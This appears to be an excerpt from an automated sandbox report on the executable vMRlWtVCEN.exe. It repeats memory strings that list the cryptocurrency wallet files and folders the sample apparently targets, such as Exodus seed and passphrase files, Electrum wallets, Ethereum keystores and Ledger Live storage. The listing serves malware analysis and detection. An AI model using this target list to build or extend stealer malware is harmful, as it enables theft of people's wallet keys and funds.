Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2745630748.0000000002F35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json.*
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: vMRlWtVCEN.exe, 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
